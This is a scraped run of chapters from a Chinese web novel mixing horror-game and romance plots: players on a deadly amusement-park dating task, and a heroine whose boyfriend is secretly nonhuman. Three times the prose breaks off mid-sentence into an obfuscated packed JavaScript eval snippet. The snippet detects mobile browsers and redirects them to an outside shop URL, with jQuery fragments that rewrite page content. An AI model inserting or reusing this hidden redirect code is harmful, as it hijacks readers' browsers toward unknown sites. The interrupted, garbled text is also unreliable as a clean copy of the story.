两人跌跌撞撞地往前走,被颜乐拦下。 少女打了个哈欠,“你们俩别装了!说吧,到底出去干什么啦!” 边说边把他们往隐蔽的隐蔽的房间里带。 陈野一脸傻笑,“嗝,你说什么呢?” 进入房间后,颜乐脸上再没了那种轻松的笑容。 她打开手机,向他们出示了任务面板,一脸严肃地说道:“看到没有?任务难度升级了!” 江敛一下子愣在了原地。 陈野脸上的笑僵住了,“哈?” 只见任务面板上难度那一栏已经发生了变化。 一个刺目的B赫然出现。 【哟,这下有好戏看了!】 【B级本的难度和C级本可完全不一样啊!这两个作死的玩意真是……】 【话说他们到底从哪得到的线索?】 江敛浑身如被冷风吹过,一颗心顿时透心凉。 好不容易从小区逃出,他当时整个人状态极不对劲。 休息了一会,好不容易恢复过来,为了伪装的更自然,不被老玩家他们发现破绽,两人又故意去喝了一些酒。 这么一顿操作,哪有时间去看手机面板? 这下怎么办?江敛顿时呆若木鸡。 陈野却浑不在意地笑了笑,“说不定有别的原因呢?这种东西哪里说得定!” 这时候的他已经放弃了伪装。 只是私底下,听到难度忽然升高一大截,他还是紧张地握紧了拳。 颜乐沉声道,“刚刚雪姐他们就和我讨论了这事,C级副本的难度不可能突然提升到这个地步,除非有人触发了隐藏剧情。” 她用一种确定无疑的目光看着陈野,后者依然不为所动。 于是颜乐慢慢地把目光投向了另一个人,“江敛,你心里有一个很重要的人吧?我能看出来,你总是翻看你钱包里那张照片。” 江敛的嘴唇抖了抖。 她用很认真的神色看着他,“你知道吗?我也有一个很重要的人。我是为了他才来到副本的!” 说着,她捂了捂心口的位置,那里有一枚吊坠,里面有一张很迷你的相片。 “很多年前他离奇失踪,那时候我还很小,发生这事简直跟天塌了一样。后来通过调查,我发现这世界上原来还有另一个世界。” “那个世界在生与死的边缘,虚与实的交界处。他很有可能被拖入其中。” “我费劲千辛万苦,终于找到进入这个世界的方法。我要活下去,从副本里活下去,然后找到他,你能明白吗?!” 说到激动处,颜乐眼中已是泪光莹然,再不复平时那种云淡风轻的乐观摸样。 江敛忍不住开口,用颤抖的嗓音说道:“我们去了老城区的一个废弃小区。” 陈野别过了头,并没有阻止。 * 文雪并没有追究这事。 她的脸色只是严肃了一瞬,又很快恢复平静。 B级难度尚属可控范围,只要小心谨慎,足够带着颜乐通关。 至于那两个人,能帮就帮,不能帮她也爱莫能助。 【雪姐还想着要帮这两人呢!捅出多大篓子了!】 随后江敛老老实实地交代了在小区里发现的线索。 文雪开口问道:“你是说,林莹是被怪物追逐,然后坠楼而亡的?” 江敛点了点头。 对于实验场的事,两人很有默契地没有开口。 陈野不好意思地摸了摸头,“对不起啊,雪姐,杰哥,因为我们俩太废物了,总担心会拖团队的后退,所以想着冒险一搏,给大家带点有价值的消息回来。” “本来想调查清楚再说的,不是故意要隐瞒哈!” 【这黄毛还撒谎!】 【感觉这小子心机和手段都可以,文雪到底做了什么,让他戒备到这地步?】 赵杰看了江敛一眼,又看了看陈野,“你们的消息哪来的?” 陈野早有准备,递过手机,“诺,就是在一个探险贴吧里问了问吧友,人家告诉我的。” 赵杰早先已经怒过,现在情绪恢复平静,“你小子头脑够灵活啊!而且运气也好!这随便一问就问出这种消息,啧啧!” “不过你也太莽了,没想过真遇到点事怎么办吗?” 这时候,他又转头看了一眼江敛,这怂包竟有这种胆子!不由令他刮目相看。 随即转头询问文雪,“雪姐,我们要不要去……” 文雪摆了摆手,“不可控因素太多,而且陈野也带回了关键信息,我们先安心解决游乐园这部分。” 【文雪怎么回事?线索明摆着呢!】 【感觉有点谨慎过头了。】 【我觉得文雪没问题,她的能力点大部分点在了精神力上,赵杰的武力值也不太够看,他们手头的道具和那小区并不适配。】 江敛在惴惴不安中,等到了第二次约会任务那一天。 * 星光洒落之际,玩家们跟着吴银来到了星光游乐场门口。 远远地看到一道曼妙的白影在门内等待。 那人背对着他们,长发及腰。 她穿着一身白色连衣裙,气质清纯动人,正是和吴银有约的Y小姐。 吴银看到后,激动地小跑了过去,“Y小姐,我是小银。” 玩家们也手持设备,进入了游乐园中。 Y小姐缓缓转过了身。 吴银的笑容一下子僵在了脸上。 有那么一瞬间,他几乎以为自己看到了自己曾经的女朋友。 倒不是说长得一样,Y小姐明显比林莹要精致很多,而且气质更加华贵,一看就来历不凡。 但是不知道为什么,看到她的第一眼,他就是不受控制地想起了林莹。 吴银心中闪过不好的预感。 可想到对方雄厚的财力,他又觉得自己多心了。 Y小姐笑了笑,很平静地接过了他手中的玫瑰。 花枝离手时,吴银的手背被刺扎了一下,鲜红的血滴瞬间冒了出来。 “呀?”Y小姐惊呼一声,“怎么扎破了手?很痛吧!” 吴银立刻笑道:“没事没事,我们大男人皮糙肉厚的,哈哈哈!” 谁知Y小姐立刻拉起他的手,以唇吻了上来,轻轻地舔掉了整颗血珠。 吴银忍着心中的怪异,想要缩回手,谁知对方竟吮了吮。 他立刻一阵头皮发麻。 片刻后,Y小姐抬起头,略微沾血的嘴唇,竟让她无端散发出一股妖艳的气息。 她笑了笑,拿出手机直接给吴银的账户上打了5k星海币,“小银真是美味呢!” 看着手机里到账的真金白银,他压下心头不安,想着,对方可能只是个有怪癖的富婆而已。 毕竟有钱人多多少少都有点毛病,像当年那个富二代一样!他这样想着。 随后,Y小姐又和跟在后面拍摄的玩家们打了个招呼,“你们好呀!” 那笑容明明很温和,却带着一种说不出的阴冷感。 文雪微笑着点头示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021183|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,其余玩家也硬着头皮打了声招呼。 同时心中涌过一阵不安,这次任务诡异怎么跟他们互动了? Y小姐的目光掠过众人,最终停在了江敛身上,“那位小哥很眼熟呢!” 后者立刻有一种被尸体盯上的错觉,手足无措。 陈野打着哈哈,“Y小姐真是偏心,怎么不觉得我也很眼熟呢?明明我比他帅气多了哈哈哈……” 调侃声化解了紧张的气氛。 Y小姐终于收回了目光,重新将注意力放在吴银身上。 随后两人往旋转木马的方向前进。 夜色渐深,游乐场里的人越来越多。 只是这些人和普通人好像不太一样。 明明是很令人快乐放松的场合,但这些人个个步伐僵硬,脸色隐隐发青,就好像…… 颜乐的目光四下扫视,皱了皱眉,“我怎么觉得这些人不太对劲?” 赵杰道:“的确,我们小心点,静观其变。” 不知道是不是错觉,江敛总觉得那些人在盯着他。 他们的目光从外穿透到内,像是要透进骨骼与心脏,令人头皮阵阵发麻。 然后下一秒,他忽然看到一个人一口咬掉了另一个人的脑袋!!! 而后者却毫无所觉,仍在继续往前走! 他揉了揉眼睛,再睁眼时,发现人家分明好端端的,毫发无损。 江敛隐约意识到,这可能不是幻觉这么简单。 自己极有可能被盯上了! 而在这时,他远远看到了那个熟悉的npc。 * 阮思甜举着两杯口味不同的奶茶,脚步轻快地往外走去。 忽然,她感到有道目光落在了自己身上。 转头一看,咦,那不是之前见过两次的小哥?好像叫江敛来着。 居然又在游乐场见面了? 这也太巧合了! 对方的脸上明显有些茫然和纠结,似乎在犹豫着什么事。 阮思甜起了疑心,这人怎么每次看到她,都是这么一副令人费解的表情? 于是她也不动了,干脆就站在原地,目光回视对方。 他又一下子低下头。 她一时有些无语。 这到底是要干吗? 正要走过去质问,谁知对方咬咬牙,忽地抬起头,像是下定了决心一般,迈开腿朝她走了过来。 谁知他还没走两步,又一下子停住了。 这下阮思甜彻底火了。 还没等她做出反应,一道影子忽然覆盖在了她的影子上。 随后熟悉的清冷香味飘入鼻端,她一下子认出了这味道的主人。 男朋友安安静静地站在了她的身后。 今晚陆秋白穿了一件黑色的衬衫,一条黑色的裤子,清辉月色下,清俊的气质中透出一股难言的冷肃。 “怎么这么久还没回来?”他用平淡至极的语气问了一句,将一只手搭在了女朋友的肩膀上。 说完,还状似不经意地瞥了对面一眼。 然后,他很清楚地看到,在看到他的一瞬间,对面那个年轻人一下子定在了原地。 对方的目光落在了他的手上,眼中浮现出一种极致的惊恐。 哦,玩家! 他们是这么称呼自己的。 陆秋白想起来了,嘴角浮现起一丝略带诡异感的笑容。 在那些人眼里,他的女朋友和星海市的无数人一样,都是个npc。 血色弥漫中,被岁月尘封的记忆在眼前浮现。 在很多很多年前,星海市也曾有过很多玩家呢! 21. 心跳百分百(二十一) 阮思甜觉得,这个叫江敛的人真的很不对劲。 在看到陆秋白后,他的脸白的吓人,眼神里充满了惊恐,谁在身侧的手甚至微微发抖。 奇怪,她的男朋友是挺威严的,但也不至于说把人吓成这样? 她又回头看了陆秋白一眼,后者的脸色emmm 好吧,她收回刚才的想法! 是挺吓人的! 他明显不高兴了。 空气里弥漫着一种压抑的感觉,阮思甜担心两人真的发生冲突,故作轻松道:“我们去玩吧!” 她可不想两人明天出现在新闻头条上。 惊!深夜三人争风吃醋为哪般,主角竟是…… 想想就头皮发麻!快走快走!! 起初她能感受到陆秋白有些不情愿,但她用胳膊轻轻推了他一下,于是他安静地跟着她走了。 阮思甜到底还是起了疑心,她又想起了小区外的跟踪者。 这两人之间有没有什么关联? 今晚回去就让墨菲斯,不,不行! 心中浮现一丝怀疑,她决定还是找个人类下属去调取监控,然后查一下江敛这一伙人到底怎么回事。 她的走神明显让某人不满了。 男朋友轻哼一声。 “啊,抱歉抱歉,我们去喝奶茶吧!”先把这些事放一边,现在约会要紧。 她晃了晃手里的奶茶,“你要草莓的,还是哈密瓜的?” 他盯着那两杯花花绿绿的玩意看了一会,矜持道:“哈密瓜吧!” 阮思甜顽皮一笑,“哦,那给你草莓的!” 陆秋白用十分深沉的目光看了她一眼,到底还是接了过去。 她看着他插入吸管,小心翼翼喝了一口后,竟微微皱起了眉,之后怎么也不肯喝了。 “真这么难喝?”她直接凑了过去,就着他咬过的吸管吸了一口。 味道还行呀! 然后男朋友一下子僵在了原地。 “你要不要试试我的?”不等他回答,她直接将自己喝过一口的递了过去。 陆秋白鬼使神差地接过。 皱眉,舒展,又皱眉,再次舒展。 最后,他一言不发,默默地咬着那根她用过的吸管,默默地喝完了。 阮思甜一脸惊奇地看着他。 她一直认为他有点面瘫,没想到他的脸上也会出现这么丰富的表情变化! 此时的她并不知道,男朋友心里正无比纠结,自己竟和一个人类分享了食物。 这个认知让他有些茫然。 但阮思甜才不想那么多! 喝完手里的饮品后,她就迫不及待地拉着陆秋白去坐旋转木马。 迎面而来一个美艳的女子,在经过他们身边时,对方明显加快了脚步。 不知道是不是错觉,对方似乎有好几条手臂??? 她停下脚步,眨了眨眼睛,又转身仔细打量对方。 像是感应到她的视线,那女子回过了头,对她露出一个有些羞涩又亲切的笑容。 看到陆秋白时,神色大变,如临大敌。 “老、老板……” 果然是看错了,原来是男朋友的员工! 阮思甜长长地呼出一口气。 估计是最近游戏玩多产生幻觉了! 陆秋白对她点了点头,对方如蒙大赦,飞奔而走。 她“噗嗤”一下笑出了声。 他在公司到底是一个怎样的形象啊? 她挽上他的手臂,高高兴兴地往前走去。 哪怕隔着衬衫,温热和柔软的触感,还是渐渐蔓延到了他冰冷的皮肤上。 于是后者顺从地跟着她往旋转木马的方向而去。 吴银他们前脚刚离开,阮思甜他们就到达了这里。 音乐声轻松而欢快,空荡荡的场地中,他们一东一西相对而坐。 可能刚喝了点甜的,她被转的头晕。 恍惚中竟将陆秋白看成了一个眉眼低垂的清艳少年。 想伸出手去够,却怎么也够不到。 明明近在咫尺,却又远在天边…… 她摇了摇头,心想,今晚这是怎么了?喝个奶茶也能喝醉吗? 从旋转木马处离开后,阮思甜休息了会,又起了恶作剧的心思。 她忽然想看看,总是一本正经的男朋友坐上过山车后,会变成什么样? 陆秋白依然没有拒绝。 在过山车爬升至最高点,而后往下俯冲时,身边响起此起彼伏的尖叫声。 可他依然十分平静,平静到有点不自然了,像是没有任何正常人类在受到刺激时的心绪起伏。 阮思甜感到有些无趣。 唉,捉弄他一点也不好玩! 她鼓了鼓脸,正想吐槽一下他,背后传来一阵笑闹声。 那是一对年轻的情侣。 女孩似乎掐了一把男孩的腰,后者也不生气,只是一脸宠溺地捏了下女孩的鼻子。 “你呀,可真淘气!” 阮思甜并没有回头,陆秋白的目光却在他们身上停顿了一会。 然后,他有些迟疑地伸出手,轻轻地刮了刮她挺直的鼻梁,动作甚至有些笨拙。 阮思甜愣住了。 一股柔软的情绪莫名从心底升腾而起,同时还感到有点好笑,于是她也不甘示弱地伸手,踮起脚尖在他的鼻子上连刮了两下。 陆秋白嘴角不受控制地浮现起一抹浅淡的笑,“幼不幼稚?” 她一把搂住他的腰,随后将脸埋入他的胸膛,闷声笑道:“我不管,你比我更幼稚!” 他下意识回抱住了她。 “去摩天轮吧!”陆秋白忽然说道。 * 玩家们心中的不妙感越来越重。 周围的游客开始有意无意地向他们走来,却又不过分靠近。 而吴银和Y小姐的约会才刚刚开始。 唯一让他们感到庆幸的是,这小子虽然人品不好,但是为人非常机灵。 他们的第一站是旋转木马。 “我们玩个游戏吧……” 来了,一模一样的三轮问答,Y小姐甚至在申明可以请求援助时,特意看了江敛一眼,说完后还用舌尖舔了舔嘴角。 江敛心中一阵悚然。 在旋转木马上,Y小姐提出了她的第一个问题。 “你心中有没有什么忘不掉的人呢?”说完后又补充了一句,“要真心实意地回答哦。” 看着她微笑的脸,吴银心中隐约意识到不对劲。 吴银表情严肃地回道:“有。” 他的确会想起林莹。 文雪总觉得,吴银那小子明明是个普通人,却好像猜到了什么。 她皱了皱眉,如果三个问题他都答对的话…… 吴银手机上的心跳同步值增加了。 这场约会总让他感到不太对劲,他有点犹豫要不要继续下去。 手机入账的提声音响起,Y小姐一下子给他打了五万星海币。 “是我对你的奖励。” 心中升起狂喜之情,之前那点顾忌被抛在了脑后。 现成的美貌富婆不傍,更待何时? Y小姐似乎还想做点什么,但她忽然改变了想法,匆匆带他们离开了旋转木马。 “走吧,我们去下一个场地。” 这一次,他们选择了一起安安静静地看动物。 眼前有一头梅花鹿,它的角被当成药材割掉了。 Y小姐似有感而发,“阿银,你说人和动物到底有什么区别呢?” 吴银立刻精神一振,“人有高贵的灵魂。” 以前的部分客户喜欢搞这些虚的,为此他也特意恶补过很多哲学性的知识,但Y小姐并没有追问下去,而是直接开始了第二个问题。 “对于忘不掉的人,你心中是什么感情呢?” 她的语气轻飘飘的,夜风吹拂间,她的发丝拂过脸畔,总让他想起那一张年轻而绝望的脸。 吴银有些拿不准这个问题的答案。 当年醉酒后意外发生学院那事,他声名狼藉时,曾真心实意地想起林莹。 如果林莹在,一定会包容他,安慰他吧?吴银是这样想的。 谁都觉得他自甘下贱,却没想过他也可能是受害者。 后来很多次人生不如意时,他都会想起她,然后又莫名怨恨,她为什么没钱! 如果她有钱,他就不用遭遇所有不如意的事!后来也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027513|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用…… 想到那一幕,吴银忍不住打了个寒颤。 Y小姐笑了笑,“怎么了?很难回答吗?” 吴银咬了咬牙,硬着头皮说道:“是爱。”半晌后又很不放心地补了一句,“还有愧疚。” 心跳同步值继续增加。 而这一次进账的金额更是高达五十万星海币。 看来这个答案让Y小姐非常满意。 吴银心中狂喜,立刻被这个迷人的数字冲昏了头脑。 【所以这是一场跨越生死的恋爱?】 【这到底该怎么答?知道当年内情也没用啊!】 【这个任务的关键真的是问答吗?】 Y小姐静静地看着远处C区的摩天轮,它与A区的摩天轮遥遥相对,并立于园中。 “最后的问题,我们留到最浪漫的时刻吧!”Y小姐说道,“当然,你也可以选择现在就停下。” 【真的假的?这是生路吗?】 【不能吧,不是说要完成约会?】 直觉让吴银想要选择停下,虽然答对最后一个问题,可能会有五百万的奖励。 但他惜命得很。 正要开口,面对Y小姐阴森森的眼神时,他下意识就改口,“继、继续。” 看着摩天轮的透明车厢缓缓升高,玩家们神情凝肃。 * 远处灯火璀璨。 昏暗的车厢里,阮思甜与陆秋白相对而坐。 这样远离地面的时刻,人心好像也跟着脱离了世俗。 “等以后没那么忙了,我们就到世界各地去玩。对了,把狗子也带上。” “到时候,我们可以一起吃遍各种美食,遇到各种有意思的人,把以前没经历过的都经历一遍。” 陆秋白安安静静地听着。 远处霓虹灯的灯光洒在他脸上,让这张脸看上去有一瞬间的不真实。 阮思甜仍自顾自地畅想着两人的未来,越说越顺口,好像早就说过一遍似的。 半天后,她发现男友毫无回应,于是轻轻推了推他。 “你说好不好?” “……好。” 阮思甜怀疑他在敷衍,有些生气,于是不轻不重地捶了他一下。 陆秋白一把握住她的手,深深看了她一眼后,毫不犹豫地将她拉入怀中。 与此同时,远处c区的摩天轮上有个黑影在飞速坠落。 她顾不上打闹,睁大了眼睛仔细看。 车厢轻微地晃了晃,很快稳住。 陆秋白捂住了她的眼睛。 他并没有捂得很严实,仍有细碎的光漏进来。 对于他的行为,她一时之间有些不解。 半晌后,她轻轻拉下他的手。 四目相对。 眼神相接的刹那,一种隐隐的温情在暧昧的灯火里流动,他们好像早已在彼此的眼神中走过万水千山。 陆秋白微微低头,阮思甜默契地将额头抵在了他的额间。 远处的天空有大朵大朵的烟花炸开。 世界喧嚣又寂静。 气息缠绕间,两人闭上了眼睛,共享这两心相依的时刻。 很奇怪,她之前有一种离谱的念头,总觉得男朋友带她来这里,是打着什么奇怪的主意,这里一定会发生什么。 就像上次带她去那家餐厅一样。 但后来不知为何,他好像改变了想法。 这次同样有这种感觉。 可现在,一切都不重要了。 * 璀璨夜色下,两架摩天轮遥遥相对。 而在被封闭的c区,吴银静静地倒在血泊中,五百万星海币入账的同时,手机里的心跳同步值达到了100%。 他扭曲的脸与多年前林莹的脸重叠。 那一晚,她倒在了地上,沾满鲜血的眼睛静静地看着天空,嘴角却浮现一丝诡异的微笑。 听着耳机里传来的那段对话,江敛心中阵阵发冷。 “很多年前,从楼上摔下的瞬间,你知道我看到了什么吗?” “什、什么?” “我看到妈妈了,原来她不是丢下我跑了,原来她还是爱着我的。” “妈妈只是……变成了怪物啊!” 22. 心跳百分百(二十二) 阳光穿窗而入,将整个卧室照亮。 阮思甜是在温暖的阳光中醒来的。 她伸了伸懒腰,看了一眼身侧的位置。 那里空荡荡的,男朋友看来已经去工作了。 打开手机看了一眼,发现下属给她发了一份调查报告。 有关江敛他们的。 午夜都市?节目组? 奇怪,这些人和她有什么关联吗? 她有些纳闷,于是让下属继续调查。 放下手机后,目光不经意一瞥,只见一张黑卡静静地搁置在床畔。 那是他留给她的。 虽然不知道他为什么忽然给出这个,但她还是毫不手软地收下了,嘴角露出一丝笑意。 花男朋友的钱就是比花自己的香! 阮思甜穿上粉色的拖鞋,打着哈欠往外走去。 同时心中奇怪,今天臭狗怎么没来烦她? 洗漱完后,她往餐厅走去,厨房里发出响亮的“滋滋”声。 墨菲斯怎么还没准备好早餐? 结果走到厨房门口一看,她整个人直接愣住了。 只见陆秋白穿着她购买的卡通小狗家居服,套着一条小碎花围裙,拿着一只平底锅在煎荷包蛋。 那张总是冷漠严肃的脸此刻眉头微皱,一脸费解地看着又一次失败了的早餐。 金色的阳光给他苍白的脸镀上了一层毛绒绒的边,让他看起来显得平易近人了许多。 明亮的天光中,阮思甜忽然觉得,那些笼罩在她周围的阴影一下子被驱散了。 陆秋白明显失败了很多次,垃圾桶里堆满了小山般的鸡蛋壳。 狗子眼巴巴地守在台面下,一副垂涎欲滴的样子。 迫于男朋友的威严,它没敢偷吃。 结果下一秒,这只狗的口水真的“哗啦啦”流了下来。 阮思甜:…… 陆秋白回头看了她一眼,阮思甜对他露出甜甜的笑容,“早啊,阿白。” “早。”他简单地回了一声,转头又去跟鸡蛋奋斗了。 阮思甜脚步欢快地走近,从背后搂住了他的腰,“陆老板这是要挑战新的领域啦?” 陆老板不答,只是专心地盯着平底锅。 半晌后,蛋的边缘泛起金黄,他用铲子给它翻了个身。 终于煎成功一次了! 陆秋白依然面无表情,阮思甜却替他产生了一种莫大的成就感。 啊啊啊,真不愧是她的男朋友,太了不起啦!!! 男朋友贴心地挑了个可爱的卡通盘子,把荷包蛋端到了她的面前,随即又为她准备了牛奶、面包还有水果。 阮思甜安安静静地坐在椅子上,有一种被挚爱之人喂养的甜蜜感。 只是这甜蜜感刚产生没多久,她的脸色就不由一僵。 这,这也太咸了…… 男朋友是没有味觉吗? 阮思甜不想打击他,在他平静又隐含期待的目光中,硬着头皮吃了下去,脸上还要保持一副完美女友的笑容。 咸死了咸死了咸死了!! 你的意图很好但请你下次不要继续了好吗!!! 在陆秋白心满意足地端走盘子,转身放入洗碗机时,她往嘴里狂炫了不少水果。 * 早餐后,两人换好衣服出门。 陆秋白穿了一件白衬衫和一条黑裤子,外搭一件薄款黑色西装外套。 嗯,一副商业精英的样子!阮思甜是这样评价他的。 而她自己则穿了一条浅绿色长裙,又配了一套简约的绿宝石套装。 这深浅不一的绿,让她整个人在活泼轻快中又带了点端庄,格外秀美。 街道两侧的星落花正值花期,深浅不一的粉色次第铺展开,空气中弥漫着浅淡清甜的气味。 周六的早晨,街上的人不算多,偶尔有人说笑着从旁经过,更多人都在家中蒙头大睡。 一切都是那么缓慢而悠闲。 在公园闲逛了一圈后,他们走进了附近一家私人影院中。 包厢不大,但装修精致。 她选了一会,最终决定看那部契约娇妻新出的剧场版。 很明显,从甜宠剧到犯罪悬疑,它在尝试转型。 而现在,它直接转型到飞起。 这次霸总不仅仅是霸总,他还多了个隐藏身份,那就是一只流淌着古老血脉的海妖! 白天,他在公司努力营业,而夜晚,他则化身…… 很快,这只凶残的玩意找到了他的食物,那是一个楚楚可怜的人类女性。 起初,海妖把女主当储备粮,阴差阳错把对方变成自己的新娘后,他发现了另一种隐藏“吃”法。 确认过眼神,他们遇上了一部癫狂的剧! 不过部分尺度是真够大的。 而当海妖的尾巴缠上女主的腰,光滑的鳞片摩擦过她的肌肤时,阮思甜看得脸红心跳。 在私密的空间里,和男朋友一起看这个,好像有点过于…… 她下意识用眼角余光瞥了他一眼。 昏暗的光线中,陆秋白微微向后靠着,双手交叉于胸前,那张清冷禁欲的脸上毫无表情。 难以想象他此刻的心情。 阮思甜想,他该看公司财报,该看科学著作,唯独不适合看这个。 完了,她挑了这么个玩意,他对她会不会多出些什么奇怪的看法? 而后她又发现,陆秋白看到海妖“吃”人时,脸上竟露出一丝若有所思的神情。 * 电影结束后,阮思甜如蒙大赦地从影院走出。 街上的人渐渐多了起来,不少情侣手拉着手,在花树下打卡拍照。 而这次,男朋友竟然主动去买了两杯奶茶回来。 当然,这是个没有创意的人,因为他又选了和上次一模一样的两杯。 阮思甜纳闷,他都不知道要换个口味吗? “还是交换着喝吗?”他理所当然地问道。 阮思甜顿时用一种意味深长的目光看了他一眼。 半晌后,她点点头,“好啊!” 于是两人在树下找了条长凳,肩挨着肩坐下。 情侣们在不远处旁若无人地拥抱,亲吻。 陆秋白的脸忽然在她眼前放大,阮思甜一时没反应过来,心跳顿时快了一拍。 他、他是要…… “思甜姐姐,姐夫,你们在这啊?” 阮思甜的心狂跳,陆秋白的手指轻轻拂过她的发丝,原来是一片花瓣沾在了她的头上。 她长长地呼出一口气。 转头望向来人,原来是她的表弟阮思敏。 他穿着一身运动套装,外形阳光俊朗,一身皮肤被晒成了健康的小麦色,看起来是个乖巧又活泼的大男孩。 阮思甜和他寒暄了几句,后来两人提到了拍卖会的事。 阮思敏:“姐夫,下周三星海科技那个慈善拍卖会,听说压轴品特别神秘,能不能提前透露一下?” 陆秋白冷漠拒绝:“不行。” “唉,好吧!”阮思敏耸了耸肩,“对了,下次拍卖会上,我把我新认识的女朋友带来给你看看,特别漂亮。” 阮思甜挑眉,“你又换女朋友了?” 阮思敏不以为意,“没有思宁哥哥换的多啦,而且这次我是认真的,阿妍是很好的女孩子……” 又随意瞎扯了几句,阮思敏终于有眼色地开口,“不打扰你们约会了,我走了,拜拜!” 而此时,在不远处目睹这一切的文雪低头看了看手机。 果然,三号npc刷新了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032342|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 夜色来临,两人回到了家中。 狗子没有来迎接,而是一动不动地趴在了人形狗窝里,阮思甜一脸担心地跑了过去。 看到她出现后,它艰难地抬了抬眼皮,还用脸蹭了蹭她的手。 ???阮思甜这下真被吓到了。 “抱歉,小姐,因为我的疏忽,厨房那堆失败的食材没有及时处理,所以……” 阮思甜一时有些无语。 她摸了摸狗头,“撑死你算了,乱吃东西!” 陆秋白想起家中还有些宠物可食用的消食片,于是去了药品间翻找。 当他回来照顾狗子后,她无情地丢下狗,自顾自地去洗澡。 微烫的水珠从花洒中喷出,水流冲刷过皮肤,彷佛将一整天的疲惫也带走了。 洗完后,她正用浴巾擦干身体,浴室门被推动了。 阮思甜飞快地扯过一边的小白裙套上,陆秋白出现在了门口。 “哈哈刚刚吃下消食片,现在睡着了。” 其实他可以在门外说的。 阮思甜心中这样想着,不过她没有说出口。 被冒犯的感觉很快被压下,她想起了他们的关系。 男女朋友。 那么,眼下这一幕也是正常的。 起初,他只是为了和她说狗的事。 渐渐地,他镜片后的目光变得幽深。 “我……”她嗓音发干。 陆秋白走了进来,关上门,站在了她的身后。 水气氤氲中,他的靠近彷佛让空气更稀薄了,她有点呼吸困难。 他的双手穿过她的腰间,将她整个人搂在了怀中,双臂慢慢收紧。 朦胧的镜子模糊地映出他们交织的身影。 此刻,她衣裳单薄,而他西装革履,可谓衣冠楚楚。 阮思甜后知后觉地意识到不对,她竟选了那条他送的小白裙? 他看到后,会不会觉得是她…… 头皮开始微微发麻。 她又看了镜子里的人一眼。 阮思甜高挑清瘦,并不算矮,但被高大的男朋友搂在怀中,则显得有些娇小。 他的手紧紧环住她的腰,明明一动不动,力量感却源源不绝地传来。 而她的手试图抓住他修长的手指,却反手被他握住。 莫名有些无力。 “别动。”他将头凑到她的耳畔,低声说道。 阮思甜的身体一阵阵发软,彷佛要站不稳。 男朋友也在看着镜子里的两人。 这个动作,在人类诸多行为当中,被定义为亲密关系,往往是发生在两个相爱的人之间。 陆秋白并不知道,自己到底爱不爱眼前这个人类。 或者说,因为他并不是人,所以并不会产生爱这种情感。 但在这一刻,他却不受控制地想像相爱的人那样,亲密地抱住自己的女朋友。 只属于他的女朋友。 只可以被他拥抱的女朋友。 随即,像电影里那只亲吻人类的海妖一样,他的吻落在了她的头顶。 这个动作不含情/欲,甚至有些圣洁的味道。 女朋友的头发还没有完全擦干,发间的一滴水珠顺着耳畔滑落。 而他的吻沿着水珠滚落的轨迹,一路轻擦,带起小小的火花。 吻着吻着就变了。 那滴水珠还在继续往下滑落,深入内里,带来透心的凉意。 所幸他的吻只是停在了她的颈侧。 那一幕闪现在脑海。 海妖将微微尖利的牙刺入人类的颈项,是食欲,也是爱欲。 在白天的所见所闻中,在她微微战栗的反应中,他一下子解开了长久以来的困惑,恍然大悟般,明白了人类的另一种“吃”法。 23. 心跳百分百(二十三) 窗外是星海市璀璨的灯海。 阮思甜站在窗边,一只手中拿着一只高脚杯,另一只手轻轻地抚上了耳垂。 落地窗的玻璃隐隐约约照出她的脸。 以往,她偏爱温润的淡水珠,但今天戴的,却是散发着强烈光泽的海水珠。 浑圆,饱满,耀眼。 奇妙的是,她并不反感这种风格。 此刻,距离拍卖会正式开场还有一小时,现在是开场前的酒会交际环节。 这里汇聚了星海市社会各界的名流,阮思甜身处其中,颇为悠然自得。 今天她穿了一身粉白色长裙,微卷的长发在脑后挽成发髻,整个人散发着一种典雅的气质,格外引人注目。 应酬了一会,她有点累了,于是走到角落里的沙发上坐下,开始休息。 陆秋白还没忙完,她打开手机,正打算刷点什么消磨时光,却忽然收到了哥哥发来的消息。 “甜啊,太可恶了,c区那破事还没完!” “那对天杀的玩意儿,偷偷溜进c区也就算了,居然还启动了摩天轮,逆天啊!” “你知道吗?那两个缺德的东西居然在里面……更过分的是,他们还把衣服什么的往下丢!” “啊啊啊!怎么会有这种人?约会上头就不管不顾了?” 阮思甜看着屏幕,莫名有点心虚。 因为把这事丢给了阮思宁,所以她很潇洒地就出来参加拍卖会了,这几天都是哥哥在当牛做马。 而且,那天她和陆秋白也在游乐场。 虽然吧,他们没干出什么事,但哥哥这话听在耳里,总觉得有些不一样的味道。 她又想起来了,那天,有那么一瞬间,她的确以为对面有什么坠落。 幸好最终没发生什么大事。 